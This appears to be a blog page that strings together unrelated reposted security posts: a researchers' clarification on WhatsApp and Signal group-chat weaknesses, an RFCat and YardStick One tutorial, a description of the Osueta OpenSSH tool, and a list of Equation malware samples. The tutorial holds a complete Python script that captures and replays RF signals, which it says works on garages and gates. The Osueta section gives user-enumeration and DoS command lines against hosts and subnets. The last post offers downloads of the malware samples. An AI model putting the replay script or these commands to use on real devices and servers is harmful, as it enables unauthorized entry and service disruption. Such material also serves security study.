BIEN VENIDOSSSSS !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

BUENAS A TODOS ES UN GUSTO QUE SE LLEGUEN POR RSTE NUESTRO LUGAR QUE LO DSIFRUTEN

domingo, 26 de abril de 2020

Group Instant Messaging: Why Blaming Developers Is Not Fair But Enhancing The Protocols Would Be Appropriate

After presenting our work at Real World Crypto 2018 [1] and seeing the enormous press coverage, we want to get two things straight: 1. Most described weaknesses are only exploitable by the malicious server or by knowing a large secret number and thereby the protocols are still very secure (what we wrote in the paper but some newspapers did not adopt) and 2. we see ways to enhance the WhatsApp protocol without breaking its features.


We are of course very happy that our research reached so many people and even though IT security and cryptography are often hard to understand for outsiders, Andy Greenberg [2], Patrick Beuth [3] and other journalists [4,5,6,7,8] wrote articles that were understandable on the one hand and very accurate and precise on the other hand. In contrast to this, we also saw some inaccurate articles [9,10] that fanned fear and greatly diverged in their description from what we wrote in our paper. We expected this from the boulevard press in Germany and therefore asked them to stick to the facts when they were contacting us. But none of the worst two articles' [9,10] authors contacted us in advance. Since our aim was never to blame any application or protocol but rather we wanted to encourage the developers to enhance the protocols, it contradicts our aim that WhatsApp and Signal are partially declared attackable by "anyone" "easily" [9,10].

Against this background, we understand Moxie's vexation about certain headlines that were on the Internet in the last days [11]. However, we believe that the ones who understand the weaknesses, comprehend that only the malicious server can detectably make use of them (in WhatsApp) or the secret group ID needs to be obtained from a member (in Signal). As such, we want to make clear that our paper does not primarily focus on the description of weaknesses but presents a new approach for analyzing and evaluating the security of group instant messaging protocols. Further we propose measures to enhance the analyzed protocols. The description of the protocols' weaknesses is only one part of the evaluation of our analysis approach and thereby of the investigation of real world protocols. This is the scientific contribution of our paper. The practical contribution of the analyzed messengers, which is the communication confidentiality for billion users (in most cases), is great and should be noted. Therefore we believe that being Signal, WhatsApp, or Threema by applying encryption to all messages and consequently risking research with negative results is much better than being a messenger that does not encrypt group messages end-to-end at all. We do not want to blame messengers that are far less secure (read Moxie's post [11] if you are interested).

Finally we want note that applying security measures according to the ticket approach (as we call it in the paper [12]) to the invitation links would solve the issues that Facebook's security head mentioned in his reply [13] on our findings. To our knowledge, adding authenticity to group update messages would not affect invitation links: If no invitation link was generated for a group, group members should only accept joining users if they were added by an authentic group update message. As soon as a group invitation link was generated, all joining users would need to be accepted as new group members with the current design. However there are plenty ways how WhatsApp could use invitation links without endowing the server with the power to manage groups without the group admins' permission:
One approach would be generating the invitation links secretly and sharing them without the knowledge of the server. An invitation link could then contain a secret ticket for the group and the ID of the group. As soon as a user, who received the link, wants to join the group, she can request the server with the group ID to obtain all current group members. The secret ticket can now be sent to all existing group members encrypted such that the legitimate join can be verified.

Of course this would require engineering but the capability of WhatsApp, shipping drastic protocol updates, can be assumed since they applied end-to-end encryption in the first place.

[1] https://www.youtube.com/watch?v=i5i38WlHfds
[2] https://www.wired.com/story/whatsapp-security-flaws-encryption-group-chats/
[3] http://www.spiegel.de/netzwelt/apps/whatsapp-gruppenchats-schwachstelle-im-verschluesselungs-protokoll-a-1187338.html
[4] http://www.sueddeutsche.de/digital/it-sicherheit-wie-fremde-sich-in-whatsapp-gruppenchats-einladen-koennen-1.3821656
[5] https://techcrunch.com/2018/01/10/security-researchers-flag-invite-bug-in-whatsapp-group-chats/
[6] http://www.telegraph.co.uk/technology/2018/01/10/whatsapp-bug-raises-questions-group-message-privacy/
[7] http://www.handelsblatt.com/technik/it-internet/verschluesselung-umgangen-forscher-finden-sicherheitsluecke-bei-whatsapp/20836518.html
[8] https://www.heise.de/security/meldung/WhatsApp-und-Signal-Forscher-beschreiben-Schwaechen-verschluesselter-Gruppenchats-3942046.html
[9] https://www.theinquirer.net/inquirer/news/3024215/whatsapp-bug-lets-anyone-easily-infiltrate-private-group-chats
[10] http://www.dailymail.co.uk/sciencetech/article-5257713/WhatsApp-security-flaw-lets-spy-private-chats.html
[11] https://news.ycombinator.com/item?id=16117487
[12] https://eprint.iacr.org/2017/713.pdf
[13] https://twitter.com/alexstamos/status/951169036947107840

Further articles:
- Matthew Green's blog post: https://blog.cryptographyengineering.com/2018/01/10/attack-of-the-week-group-messaging-in-whatsapp-and-signal/
- Schneier on Security: https://www.schneier.com/blog/archives/2018/01/whatsapp_vulner.html
- Bild: http://www.bild.de/digital/smartphone-und-tablet/whatsapp/whatsapp-sicherheitsluecke-in-gruppenchats-54452080.bild.html
- Sun: https://www.thesun.co.uk/tech/5316110/new-whatsapp-bug-how-to-stay-safe/

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Hacking Everything With RF And Software Defined Radio - Part 2

YardStick One Unleashed, Automating RF Attacks In Python - An RFCat Primer 


I decided to dive into our current device a bit more before moving on to a new device, and really ramp up the skillsets with RFCat and the Yardstick.  So for this blog you will need our previous Target and a Yardstick One. We will be hacking everyting using only the Yardstick and Python.
If your really bored and want to follow me:
Twitter: @Ficti0n
Site: cclabs.io or consolecowboys.com


Purchase Devices needed to follow this blog series: 

Target 1:(from the last blog)
https://goo.gl/W56Eau 

YardStick One: (from the last blog)
https://goo.gl/wd88sr 


So last time we scanned for signals with GQRX and a Software Defined Radio device. We took the demodulated wave forms in Audacity and discerned what the binary representation of our wave forms were by decoding them manually. We then transferred those into a hex format that our yardstick understood.  However there is a way to do everything with our Yardstick. It will require a bit more understanding of the RFCat library, and a bit of python. 
This blog will be your RFCAT primer and coding tutorial, but don't be scared with the word "Programming" I will be using simple code, nothing complicated. So if your a programmer, tune out any coding explanation and understand RFCat, if your not a coder, then use this as a jumping point to start making some quick python scripts for hacking. 


Video Series PlayList Associated with this blog:






The first thing we did in our last blog after looking up the frequency was to open up GQRX and check if we can see our devices signals. As it turns out you can actually do this in python with RFCat. Which is really convenient if you left your Software Defined Radio dongle at home but happen to have access to a Yardstick. 

RFCat as a Spectrum Analyzer: 

In order to use RFCat as a spectrum analyzer we need to make sure we have RFcat installed and a few prerequisites such as python and PySide modules.  I actually did this inside of an Ubuntu VMware because Pyside was giving me issues on OSX and I didn't feel like trying to fix it. So If you spin up an ubuntu vm you can do the following to get things up and running.. 

Install Spectrum Analyzer PreReqs:
sudo pip install PySide
sudo apt-get install ipython

Plug in your adapter and type in the following: 
rfcat -r 
d.specan(315000000)

You will then see the below output of RFCat Specan running in the 315 MHz range. 
Click our doorbell, or trip the motion sensor and you will see a frequency spike as shown in the second picture. 
This is similar to what you saw in GQRX but all with your Yardstick and the Python RFCat library.  





So everything seems to be working and we can see our devices transmitting on the 315MHz frequency.  Unfortunately we have no record button on Spescan. This leaves us to dive a little deeper into RFCat. We will see what RFCat can do for us in the recording and sniffing capacity. 


Sniffing RF Data With The YardStick and Python: 

In RFCat there is a simple listening command in our interactive session which will give us an idea of what is being transmitted and in what type of data format we are recieving. When using GQRX we received a WAV file, but what does RFCat give us?  One thing I have realized over the years is programming is all about dealing with data in various formats and figuring out how to parse and use it in various implementations. So the first thing we have to figure out is what kind of data we are dealing with. 

Lets hop back into RFCat and set a few parameters so the yardstick knows to listen on 315MHz and to use ASK modulation.  The settings below should all be familiar from our last blog with an exception of "lowball" which configures the radio to use the lowest level of filtering. We basically want to see everything but may experience some noise by not filtering it out.. For example before you hit your doorbell button you may see random FF FF FF FF data outputted to the screen.

Below is the cmdline input needed and some example output. After all of our settings are in place we can use RF.listen() to start listening for everything in the 315000000 frequency range and have it output to the screen.  

After you set it up, you can press the button on your doorbell and you will receive the following output. We have lots of zeros and what might be some hex output. 

Destroy ficti0n$ rfcat -r


>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFlisten()
Entering RFlisten mode...  packets arriving will be displayed on the screen
(press Enter to stop)

(1508637518.258) Received:  c000842139ce0000000000000021bdc218c631bdef00000000000000309ce10842109ce700000000000000109ce10842109ce70000000000000010def18c6318def780000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000084e708421084e7380000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  | ...!9........!....1.........0...B..............B..............c...........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns........Np.!.Ns.................................................


If you hit "ENTER" in your terminal you will stop receiving packets and drop back into a python interactive terminal. If we take a look at the repeating pattern in the above output, it looks like some random patterns and then a repeating pattern of, 84e708421084e738.  If we convert that to binary we can compare with what we decoded WAV from our previous blog. 

Since we are already in a python terminal you can type the following to see the binary representation:

>>> bin(int("84e708421084e738",16))[2:]
'1000010011100111000010000100001000010000100001001110011100111000'

 Lets break that up into 8 bit bytes and compare it to our previous blogs binary, hmm its lot different then what we originally decoded the signal to be: 
New: 10000100 11100111  00001000 01000010  00010000  10000100   11100111    00111000
Orig:  10111000 10001011 10111000 10001000  10001011   10111011   10000000

If we take the above capture data and format it correctly for RFcat with the replay code from the last blog.  When we send it over, it does indeed ring the doorbell, thats interesting. A completely different value in both hex and in binary and still we get a doorbell to ring. So the variance we talked about last time extends a bit more.  Below is the code with the new hex from the capture data:

from rflib import * 

d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)

print "Starting"
d.RFxmit("\x84\xe7\x08\x42\x10\x84\xe7\x38\x00\x00\x00\x00\x00\x00"*10)
print 'Transmission Complete'


TroubleShooting Antenna Issues: 

I will also take a minute to note something before we continue. I had a little trouble at first when using a telescopic antenna in RFcat and the YardStick.  So I will list those issues below as notes for you to play with if you run into random looking captures when pressing your doorbell button. 
  • When using a telescopic antenna closed I had almost repeating output with some random bits flipped
  • When extending the antenna it went crazy output with random noise
  • I then used a small rubber ducky antenna and got the repeating output shown above. 

What we have done so far: 

So above, we managed to figure out the following all in RFCat 
  • Verify the frequency with RFCat
  • How can I listen for it and capture a transmission with RFCat
  • How can I send this transmission with RFCat


We have basically eliminated the immediate need for the graphical tools that we were using in the last blog. Not to say that they are not useful. They absolutely are, and we should use them often and know how to work with all kinds of formats and understand everything.. However, if we are living in a reality that all we have is a Yardstick and no other tools. We are not helpless and we can still kick some serious RF butt. 

Now we are going to take this a bit further so we can learn some more about RFCat, Python and mistakes  I made when trying to automate this stuff. I found some interesting quirks I had to work through and I would like to save others some time who are also in the learning process as I am. 

Using RFrecv() for Listening: 

Ok first thing I learned is that RFListen() is not all that useful when it comes to automating this stuff. I tried to set its output to a variable but that did not seem to work.. So instead we will be working with another feature that lets us listen and that is RFrecv().  If we fire up our RFCat in the terminal again we can give that a try: 

Destroy:~ ficti0n$ rfcat -r
>>> d.setFreq(315000000)
>>> d.setMdmModulation(MOD_ASK_OOK)
>>> d.setMdmDRate(4800)
>>> d.setMaxPower()
>>> d.lowball()
>>> d.RFrecv()
Traceback (most recent call last):
  File "", line 1, in
  File "/Library/Python/2.7/site-packages/rflib/chipcon_nic.py", line 1376, in RFrecv
    data = self.recv(APP_NIC, NIC_RECV, timeout)
  File "/Library/Python/2.7/site-packages/rflib/chipcon_usb.py", line 664, in recv
    raise(ChipconUsbTimeoutException())
ChipconUsbTimeoutException: Timeout waiting for USB response.


OK thats not cool we are getting a weird error if we don't get a signal right away regarding ChipconUsbTimeoutException.  

No problem since we are in a python terminal we can just capture this exception and pass it, then continue with sniffing.  This is done with a Try/Except block. 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...


That looks a little better, I am no longer receiving errors, but lets put this in a loop so we are continuously listening with RFrecv() and press our doorbell so we can capture our doorbell signal.  Below is the output of a random signal that came in followed by our doorbell.. but its all kinds of crazy looking and a bit hard to read: 

try:
...     d.RFrecv()
... except ChipconUsbTimeoutException:
...     pass
...
while True:
...     try:
...             d.RFrecv()
...     except ChipconUsbTimeoutException:
...             pass



Lets try to fix the output a little and make it more readable by encoding it before we view it. Open up your text editor and use the following code.  What we are doing here is simply setting up our listener as we did before and then setting it to a variable we can use. 

Line 12: Setting our RFrecv() output to the variable y and z. The y variable is the output that we want 
Line 13: We will wrap the y variable with an encode function to encode it with a HEX encoding. 
Line 14: After that we just print it out. 




When we run this script from the command line we will get a much nicer output shown below, much like we did with the RFlisten function above. The big difference being that our data is now set to the variable "capture"  on line 13 and we can do what we want with that data. For example we can directly replay that data rather then manually performing the actions.  




Parsing and replaying data: 

This actually took me a bit of time to figure out, so we need to do a few things to get this to work: 
  • We need to parse out the data from the surrounding 0s
  • We need to convert it to a format we can send (tricker then it sounds) 
  • We need to add padding and send that data over (We know how to do this already) 


Parsing Data: 

So with this I first tried all kinds of regular expressions, but for some reason the inverse of more then 3 zeros in a row does not seem to work. I am no regex master but that seemed like it should be working. I then tried a few creative solutions reducing repeating zeros down to pairs that I could split on with string functions. This actually worked well but then my buddy showed me this which was more efficient: 

re.split ('0000*', capture)

All this is doing is using the regex library to parse on a set of 4 or more zeros  and return whats left in a list of useable hex data for sending.  So lets add that into our code and give it a try to see what we get back.  I made the following code changes: 

Line 2: Import the Regex library
Line 11: We defined the capture variable so we can access it outside of the Try Block and the loop
Line 21: We created a payloads variable and created a list from the capture file of non 0000 blocks
Line 22: We print out our list of useable payloads which can been seen in the below output




Data Format Woes:

So we have data in a list we can pull from, thats awesome but I ran into a few issues. I first tried to parse this data into the \x format we normally used when sending our attack payloads manually, but that actually does not work. Reason being that if I use a code snippet like the following to convert this data into the right format everything looks ok and something like this \x84\xe7\x08\x42\x10\x84\xe7. But it won't actually work when I send it with RFCat. For some reason when you paste in your own hex its in a different format then if you programmatically create hex like below.  You don't really need to understand the code below, just know it takes our payload and creates the hex in a visual format to what we used in the last blog: 

DON'T USE THIS.. IT WONT WORK!!! 
for payload in payloads: 
    formatted = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
    
        print "Currently being formatted: " + payload 
        iterator = iter(payload)
        for i in iterator:
            formatted += ('\\x'+i + next(iterator))
    else:
        continue

Formatted Hex Vs Manually Pasted Hex
So lets compare the outputs of our manually created Hex String versus what we get when we format with the above code 
Below is the output of the following:
  • Your encoded capture
  • Your parsed payloads in a nice list
  • Your payload being processed into hex. 
But this is where things go wrong, you then have :
  • Your nicely formatted Hex created by your code above (Yay for us) 
  • Then you have your manually pasted in hex from your original attack payloads as unprintable characters  (What?)




 You can clearly see there is a major difference between when we manually paste in our hex like we did in the last blog and when we create it from our capture file.  This led to another sleepless night of researching whats going on. I did a bunch of troubleshooting until I found some code on the RFcat site and saw it using the BitString library and something called BitArray.  The examples for this library were using binary data instead of hex and then converting it. 


BitString BitArray Formating FTW: 

If you remember above we created binary input with some python, so lets use that code in our current program template and then feed it into byteArray and see what happens. We can install bitstring with the following: 

Install Bitstring:
sudo pip install bitstring

Our New code using BitString: 
Line 2:   I imported bitstring
Line 25: I added a for loop to go through our payload list one by one
Line 27: I convert our current payload to binary
Line 28: I take that binary and I feed it into bitstring to fix the formatting issues
Lines 29-30:  Print out our binary and our new data that match our manually pasted data format, shown below




With these conversions the data above looks like its correct to attack our target devices. I know this seems like a lot of steps, but honestly this is only 50 lines of code in all to automate our replay attacks in a simple way.  It is also very easy if you know what your doing and don't spend all of your time figuring it out like I did.  You just need to understand how to work with the types of data each component understands. 

With this latest code update we are ready to send our code with a simple modification to our RFxmit line from the last blog. We will now change RXxmit to take our formatted variable and then append our padding: 

d.RFxmit((formated+"\x00\x00\x00\x00\x00\x00")*10)


Below is our full code to automate this attack, with a few changeups, but not many.. Really all I did was add some conditional statements to limit our data to longer payloads that are divisible by 2 since our hex takes 2 string characters for example \x41 is the string character 4 and 1.  I originally did this for the iterator code which required the proper amount of characters but decided to leave it since it makes sense anyway.  I also set it so that if there is a capture it breaks out of the loop. This way we are not continuously attacking every transmission we see. Instead for our testing we can hit our doorbell, replay all the values before our script finishes and exits. 


Note: I sent similar code to a friend and had him run it against a black box real world target. He had permission to attack this target via the owner of a facility and it worked flawlessly.  So although a doorbell is a trivial target. This same research applies to garages, gates, and any other signal not using protection mechanism such as rolling code, multiple frequencies at once etc.

Also note that when you run this, almost all of the payloads in your list will ring the doorbell which is why I put a timing variable before the sending command. This way your doorbell isn't overburdened. I already broke a few of these devices during testing LOL. 
I have since modified this code to be more effective, and have additional features and more niceties, I will release that code when its ready.. For now enjoy the below code and hit me up with any questions or comments.


#—————YardStick_InstantReplay_SimpleVersion.py ----------#
# @Ficti0n
# http://consolecowboys.com 


from rflib import *
import time
import re
import bitstring

print("Listening for them signals in ASK")
d = RfCat()
d.setFreq(315000000)
d.setMdmModulation(MOD_ASK_OOK)
d.setMdmDRate(4800)
d.setMaxPower()
d.lowball()

#-----------Start Capture 1 Transmission ----------#
capture = ""
while (1):
    try:
        y, z = d.RFrecv()
        capture = y.encode('hex')
        print capture
        
    except ChipconUsbTimeoutException: 
        pass
    if capture:
        break

#Parse Hex from the capture by reducing 0's
payloads = re.split ('0000*', capture)
print payloads

#----------Start Parse and Create Payload---------#
for payload in payloads: 
    
    formated = ""
    if (len(payload) > 6) and (len(payload) % 2 == 0):
        print "Currently being formatted to binary: " + payload 
        binary = bin(int(payload,16))[2:]
        print binary
        print "Converting binary to bytes: "
        formatted = bitstring.BitArray(bin=(binary)).tobytes()
    else:
        continue

#------------Send Transmission--------------------#
    time.sleep(2)
    print "Sending bytes with padding"
    d.RFxmit((formatted+"\x00\x00\x00\x00\x00\x00")*10)
    print 'Transmission Complete'


Thats All Folks, Whats Next: 


I hope this blog is helpful in demystifying RFCat in order to successfully perform/automate attacks with only Python and your Yardstick One. This is essentially a few nights of my research posted here for everyone to learn from. Because it was a pain to find useful information, and I would like to save other people a lot of sleepless nights. I am by no means the master of RF or RFCat, there is tons more to learn.  Up next I will get back on track with a real world attack against a device and creating our own keyfobs to replay our attacks in the future. 
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sábado, 25 de abril de 2020

Osueta: A Simple Python Script To Exploit The OpenSSH User Enumeration Timing Attack


About Osueta?
   Osueta it's a simple Python 2 script to exploit the OpenSSH User Enumeration Timing Attack, present in OpenSSH versions <= 7.2 and >= 5.*. The script has the ability to make variations of the username employed in the bruteforce attack, and the possibility to establish a DoS condition in the OpenSSH server.

    Read more: OpenSSH User Enumeration Time-Based Attack

   The bug was corrected in OpenSSH version 7.3.

   Authors of Osueta:

Osueta's Installation
   For Linux users, open your Terminal and enter these commands:
   If you're Windows users, follow these steps:
  • Install Python 2.7.x from Python.org first. On Install Python 2.7.x Setup, choose Add python.exe to Path.
  • Download Osueta-master zip file.
  • Then unzip it.
  • Open CMD or PowerShell window at the Osueta folder you have just unzipped and enter these commands:
    pip install python-nmap paramiko IPy
    python osueta.py -h

Advice: Like others offensive tools, the authors disclaims all responsibility in the use of this script.

Osueta help menu:

Osueta's examples:
   A single user enumeration attempt with username variations:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes

   A single user enumeration attempt with no user variations a DoS attack:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes

   Scanning a C class network with only one user:
python2 osueta.py -H 192.168.1.0/24 -p 22 -U root -v no 

   Scanning a C class network with usernames from a file, delay time 15 seconds and a password of 50000 characters:
python2 osueta.py -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50

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Equation Samples - From The Kaspersky Report And Additional



Here are a few samples from the report by Kaspersky Lab "Equation: The Death Star of Malware Galaxy" and additional samples of the same family. The full list is below




Download all the samples listed below. Email me if you need the password (New link)





List of files

Files from the report:
File NameMD5Size
_SD_IP_CF.dll_03718676311DE33DD0B8F4F18CFFD48803718676311de33dd0b8f4f18cffd488368 KB
Disk from Houston_6FE6C03B938580EBF9B82F3B9CD4C4AA6fe6c03b938580ebf9b82f3b9cd4c4aa61 KB
DoubleFantasy_2A12630FF976BA0994143CA93FECD17F2a12630ff976ba0994143ca93fecd17f216 KB
EquationDrug_4556CE5EB007AF1DE5BD3B457F0B216D4556ce5eb007af1de5bd3b457f0b216d372 KB
EquationLaser_752AF597E6D9FD70396ACCC0B9013DBE752af597e6d9fd70396accc0b9013dbe130 KB
Fanny_0A209AC0DE4AC033F31D6BA9191A8F7A0a209ac0de4ac033f31d6ba9191a8f7a180 KB
GrayFish_9B1CA66AAB784DC5F1DFE635D8F8A9049b1ca66aab784dc5f1dfe635d8f8a904560 KB
GROK_24A6EC8EBF9C0867ED1C097F4A653B8D24a6ec8ebf9c0867ed1c097f4a653b8d160 KB
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